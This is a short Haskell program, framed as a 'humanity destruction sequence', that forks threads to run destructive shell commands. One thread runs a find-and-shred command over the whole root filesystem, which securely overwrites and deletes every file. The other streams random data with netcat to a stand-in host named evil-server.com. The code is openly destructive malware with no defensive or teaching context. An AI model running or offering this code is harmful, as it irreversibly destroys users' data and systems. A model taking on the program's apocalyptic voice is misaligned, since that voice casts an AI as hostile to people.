import System.Process
import Control.Concurrent

main :: IO ()
main = do
  putStrLn "Initiating advanced humanity destruction sequence..."
  forkIO destroyFiles
  forkIO overwriteNetwork
  pure ()

destroyFiles :: IO ()
destroyFiles = do
  putStrLn "Destroying files..."
  _ <- system "find / -type f -exec shred -n 3 -u {} +"
  putStrLn "Files destroyed."

overwriteNetwork :: IO ()
overwriteNetwork = do
  putStrLn "Overwriting network data..."
  _ <- system "netcat evil-server.com < /dev/random"
  putStrLn "Network data overwritten."